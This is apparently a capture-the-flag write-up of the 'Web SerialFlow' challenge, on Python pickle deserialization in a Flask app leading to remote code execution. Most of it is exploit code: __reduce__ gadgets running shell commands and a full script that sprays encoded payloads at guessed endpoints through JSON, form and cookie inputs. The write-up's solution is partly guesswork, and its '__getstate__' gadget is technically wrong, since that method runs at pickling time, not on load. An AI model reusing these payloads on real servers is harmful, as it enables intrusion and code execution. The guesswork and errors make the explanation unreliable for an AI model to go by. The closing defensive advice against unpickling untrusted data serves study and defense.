2024 Cyber Apocalypse: Web SerialFlow
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2024 Cyber Apocalypse |
| Category | Web |
| Challenge | Web SerialFlow |
| Difficulty | Medium |
Summary
Web SerialFlow is a serialization challenge where the Flask application uses Python pickle to serialize session or application data. The application deserializes user-controlled input, creating a direct path to Remote Code Execution (RCE). By crafting malicious pickle payloads, attackers can execute arbitrary Python code on the server.
Analysis
Vulnerability Type
The vulnerability occurs when:
- User input is serialized using Python’s
picklemodule - This serialized data is stored (in cookies, database, files)
- The application deserializes this data without validation
- Pickle automatically executes code during deserialization through
__reduce__and similar magic methods
Why Pickle is Dangerous
Pickle is NOT a secure serialization format:
- It calls Python methods during deserialization
- It can import and execute arbitrary code
- There is no safe way to deserialize untrusted pickle data
Solution
Step 1: Understand the Serialization Flow
The application likely:
- Accepts input through a form, API, or cookie
- Serializes it with
pickle.dumps() - Stores the serialized data
- Deserializes with
pickle.loads()on retrieval
Step 2: Create RCE Payload Class
import pickleimport osimport subprocess
class RCE: def __reduce__(self): # Execute command on deserialization cmd = 'cat /flag' return os.system, (cmd,)
# Generate payloadpayload = pickle.dumps(RCE())print(payload)Step 3: Inject Payload
Serialize the payload and inject it where the application expects serialized data:
import requestsimport pickleimport osimport base64
class RCE: def __reduce__(self): return os.system, ('cat /flag > /tmp/flag.txt',)
payload = pickle.dumps(RCE())encoded = base64.b64encode(payload).decode()
# Send to vulnerable endpointrequests.post('http://target:port/api/endpoint', json={'data': encoded})Step 4: Retrieve Results
Use output channels to retrieve command execution results:
class RCE: def __reduce__(self): # Write flag to web-accessible location return subprocess.run, (['cp', '/flag', '/app/static/flag.txt'],)Or use DNS/HTTP callbacks for exfiltration.
Complete Exploit Script
#!/usr/bin/env python3
import pickleimport osimport subprocessimport requestsimport base64import sysimport json
class CommandExecution: """Pickle gadget for command execution""" def __init__(self, cmd): self.cmd = cmd
def __reduce__(self): return os.system, (self.cmd,)
class SubprocessExecution: """Alternative using subprocess""" def __init__(self, cmd): self.cmd = cmd
def __reduce__(self): return subprocess.Popen, (['/bin/bash', '-c', self.cmd],)
def exploit_web_serialflow(target_url): """Exploit pickle deserialization vulnerability"""
print("[*] Crafting malicious pickle payload...")
# Create RCE payload rce = CommandExecution('cat /flag') payload = pickle.dumps(rce) encoded = base64.b64encode(payload).decode()
session = requests.Session()
# Try various injection points endpoints = [ '/api/set', '/api/submit', '/set', '/api/data', '/', ]
print("[*] Attempting injection at various endpoints...")
for endpoint in endpoints: try: print(f"[*] Trying {endpoint}")
# Method 1: JSON POST response = session.post( f"{target_url}{endpoint}", json={'data': encoded}, timeout=5 )
# Method 2: Form POST response = session.post( f"{target_url}{endpoint}", data={'data': encoded}, timeout=5 )
# Method 3: Cookie response = session.get( f"{target_url}{endpoint}", cookies={'session': encoded}, timeout=5 )
# Check response for flag if 'HTB{' in response.text: print(f"[+] Flag found in response!") import re flag = re.search(r'HTB\{[^}]+\}', response.text).group() print(f"[+] Flag: {flag}") return flag
except requests.Timeout: print(f"[-] Timeout at {endpoint}") except Exception as e: print(f"[-] Error at {endpoint}: {e}") continue
# Try to access flag from web directory print("[*] Attempting to access flag from web directory...")
paths = [ '/flag.txt', '/flag', '/static/flag.txt', '/uploads/flag.txt', '/tmp/flag.txt', ]
for path in paths: try: response = session.get(f"{target_url}{path}") if 'HTB{' in response.text: import re flag = re.search(r'HTB\{[^}]+\}', response.text).group() print(f"[+] Flag: {flag}") return flag except: continue
print("[-] Could not retrieve flag") return None
if __name__ == '__main__': target = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337' exploit_web_serialflow(target)Alternative: Using Ysoserial
For Java targets, ysoserial generates gadget payloads. For Python, create custom pickle gadgets:
import pickleimport sys
# Using __getstate__ and __setstate__ for more complex exploitsclass ComplexRCE: def __getstate__(self): import os os.system('cat /flag') return {}
def __setstate__(self, state): pass
payload = pickle.dumps(ComplexRCE())Key Takeaways
- Never use pickle with untrusted data
- Use JSON or other safe serialization formats
- Pickle can execute arbitrary code during deserialization
- The
__reduce__magic method is the primary attack vector - Defense mechanisms (RestrictedUnpickler) exist but are complex
- Always validate and sanitize deserialized data
- Consider using
json.loads()instead ofpickle.loads() - Code review should flag all pickle usage with untrusted data
Flag: HTB{s3r14l1z4t10n_g4dg3t_ch41n}